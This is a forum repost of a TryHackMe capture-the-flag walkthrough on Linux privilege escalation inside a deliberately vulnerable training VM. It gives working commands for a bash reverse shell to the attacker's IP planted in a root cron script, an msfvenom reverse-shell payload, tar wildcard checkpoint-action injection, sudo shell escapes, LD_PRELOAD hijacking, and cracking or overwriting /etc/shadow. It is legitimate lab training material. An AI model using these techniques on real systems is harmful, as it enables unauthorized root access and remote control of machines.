![]() |
|
[Tut] TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2) - Printable Version +- Sick Gaming (https://sickgaming.net) +-- Forum: Programming (https://sickgaming.net/forum-76.html) +--- Forum: Python (https://sickgaming.net/forum-83.html) +--- Thread: [Tut] TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2) (/thread-100763.html) |
[Tut] TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2) - xSicKxBot - 02-17-2023 TryHackMe Linux PrivEsc – Magical Linux Privilege Escalation (1/2) 5/5 – (1 vote) CHALLENGE OVERVIEW
BACKGROUND ![]() Using different exploits to compromise operating systems can feel like magic (when they work!). In this walkthrough, you will see various “magical” ways that Linux systems can be rooted. These methods rely on the Linux system having misconfigurations that allow various read/write/execute permissions on files that should be better protected. In this post, we will cover tasks 1-10. TASK 1 Deploy the Vulnerable Debian VM After connecting to our TryHackMe VPN, let’s start our Code: notes.txtCode: export targetIP=10.10.63.231
export myIP=10.6.2.23Now we can go ahead and log in via SSH using the starting credentials given in the instructions: Code: ssh user@10.10.63.231
id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev)Now that we are in via SSH, let’s start exploiting this machine! TASK 2 Service Exploits ![]() In this task, we will privesc by exploiting MySQL using https://www.exploit-db.com/exploits/1518 We’ll create a new file named Code: rootbash![]() Task 3: Weak File Permissions – Readable /etc/shadow In this task, we will read Code: /etc/shadowFirst, we need to save the root entry from Code: /etc/shadowCode: hash.txt![]() Next, let’s load up John and crack the hash with Code: rockyou.txtCode: john --wordlist=</PATH/TO/>rockyou.txt hash.txt![]() We have found our root password, Code: password123TASK 4: Weak File Permissions – Writeable /etc/shadow ![]() In this task, we will change the root password in Code: /etc/shadowCode: mkpasswd -m sha-512 newpasswordhere
$6$pz5mE.wYesKIYGN$jyRHWFXauy1tWmXLWABRKFjUplUH4u7w2YvxEysk5OPcS.HcgBoQkYt66gkkuMB6EKK8WUh1CY.BAO2mdOdPb.![]() Code: user@debian:~/tools/mysql-udf$ nano /etc/shadow
user@debian:~/tools/mysql-udf$ su root
Password: root@debian:/home/user/tools/mysql-udf#In this task, we will change the root passwd in Code: /etc/passwdCode: openssl passwd newpasswordhere![]() TASK 6 Sudo – Shell Escape Sequences ![]() Let’s check our sudo privileges: Code: sudo -lWe can choose any of the many bin files that we have sudo permissions on, except for the apache2 bin that doesn’t have a sudo exploit listed on GTFObins Today we’ll choose to run the exploit utilizing the more bin file. Link: https://gtfobins.github.io/gtfobins/more/Running the following two commands gives us a root shell: Code: TERM= sudo more /etc/profile
!/bin/sh![]() TASK 7 Sudo – Environment Variables Method 1: preload file spoofing Code: gcc -fPIC -shared -nostartfiles -o /tmp/preload.so /home/user/tools/sudo/preload.c
sudo LD_PRELOAD=/tmp/preload.so more![]() Method 2: shared object spoofing Code: ldd /usr/sbin/apache2
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /home/user/tools/sudo/library_path.c
sudo LD_LIBRARY_PATH=/tmp apache2![]() TASK 8 Cron Jobs – File Permissions ![]() In this task, we will root the Linux box by changing the file Code: overwrite.shBecause we have to write file permissions on the file, we can change the contents to spawn a revshell that we can catch on a listener. The file is owned by root, so it will spawn a root shell. Overwrite the file with the following: Code: #!/bin/bash
bash -i >& /dev/tcp/10.6.2.23/8888 0>&1Now, all we need to do is start a Code: netcatCode: nc -lnvp 8888![]() TASK 9 Cron Jobs – PATH Environment Variable In this task, we will hijack the Code: PATHCode: overwrite.shCode: /home/userCode: user@debian:~$ cat overwrite.sh #!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +xs /tmp/rootbashThis bash script will copy Code: /bin/bashCode: tmpCode: suidCode: overwrite.shCode: rootbashCode: user@debian:~$ /tmp/rootbash -p
rootbash-4.1# id uid=1000(user) gid=1000(user) euid=0(root) egid=0(root) groups=0(root),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),1000(user)
rootbash-4.1# exit![]() TASK 10 Cron Jobs – Wildcards ![]() In this exploit, we will use strange filenames to trick the system into thinking they are checkpoint flags on the tarball command which issue a command to run the elf shell to give us a root shell on our Code: netcatFirst, let’s create a new payload for a revshell Code: msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.6.2.23 LPORT=8888 -f elf -o shell.elfNext, we’ll transfer the elf file to Code: /home/usrCode: touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=shell.elfFinally, we’ll need to start up a Code: netcatCode: nc -lnvp 8888![]() ![]() POST-EXPLOITATION Let’s remove the shell and the other two spoofed empty command extension files. Code: rm /home/user/shell.elf
rm /home/user/--checkpoint=1
rm /home/user/--checkpoint-action=exec=shell.elf![]() Magic isn’t actually needed to carry out any of the Code: privescAs long as the target machine has a misconfiguration on password files ( Code: /etc/shadowCode: /etc/passwdThanks for reading this write-up, and be sure to check out part II for more “magical” privesc methods. |